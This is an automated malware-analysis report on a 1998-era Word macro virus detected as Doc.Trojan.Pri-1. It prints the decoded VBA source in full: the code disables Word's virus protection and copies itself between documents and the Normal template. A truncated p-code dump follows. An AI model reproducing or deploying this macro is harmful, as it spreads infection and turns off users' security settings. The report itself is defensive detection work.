Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ccb6e35bd73434e9…

MALICIOUS

Office (OLE)

48.5 KB Created: 1999-01-01 08:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 759f4f00cecbbd21fd5378bbc6fc50a5 SHA-1: 13b4417c7e29cc37b6b56a8132ec3ec8df02965e SHA-256: ccb6e35bd73434e95c6a88b2dbae0da8969bf3bca70ec069d0d1044284575e01
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document with a high-confidence detection for malicious VBA macros, specifically a Document_Open macro. The VBA code appears to be designed to modify the document's code and potentially execute further actions, indicated by the 'Application.Quit SaveChanges:=wdDoNotSaveChanges' call. This suggests the document is a malicious attachment intended to deliver a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7832 bytes
SHA-256: 22e49970c7515ec12bdadbf7e6266347324e048e2088f7035bab6405111f82cc
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If Day(Now) = Minute(Now) Then
Randomize: For IN5899 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next IN5899: End If
LR545 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
GL7390 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set JO2531 = ActiveDocument.VBProject.VBComponents.Item(1)
OM4917 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set JO2531 = NormalTemplate.VBProject.VBComponents.Item(1)
CP692 = True
'Call CV627_LG5759
ActiveDocument.Saved = True
End If
If CP692 <> True And OM4917 <> True Then GoTo HV4722
If CP692 = True Then JO2531.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, LR545 - 1) & vbCr & "Sub ViewVBCode()" & vbCr & "Application.Quit SaveChanges:=wdDoNotSaveChanges" & vbCr & "End Sub")
If OM4917 = True Then JO2531.CodeModule.AddFromString ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, GL7390 - 4))
HV4722:
If GL7390 <> 0 And LR545 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub 'W97M/PSD.II ...logically delicious! [(c)1998 ALT-F11 code hack]
Sub ViewVBCode()
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

' Processing file: /opt/analyzer/scan_staging/cbeb42a7b1554e29bfa4a1cdf28961cd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8645 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #3:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	ArgsCall Read 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld IN5899 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Rnd 
' 	LitDI2 0x0046 
' 	Mul 
' 	FnInt 
' 	Paren 
' 	For 
' Line #5:
' 	Ld Rnd 
' 	LitDI2 0x0078 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00C8 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemLd AddShape 0x0005 
' 	ArgsMemCall Set 0x0000 
' Line #6:
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	ArgsLd RSet 0x0003 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	MemLd ForeColor 
' 	MemSt RSet 
' Line #7:
' 	Ld msoTrue 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	MemSt Visible 
' Line #8:
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	ArgsMemCall Solid 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld IN5899 
' 	EndForVariable 
' 	NextVar 
' 	BoS 0x0000 
' 	EndIfBlock 
' Line #9:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VB
... (truncated)

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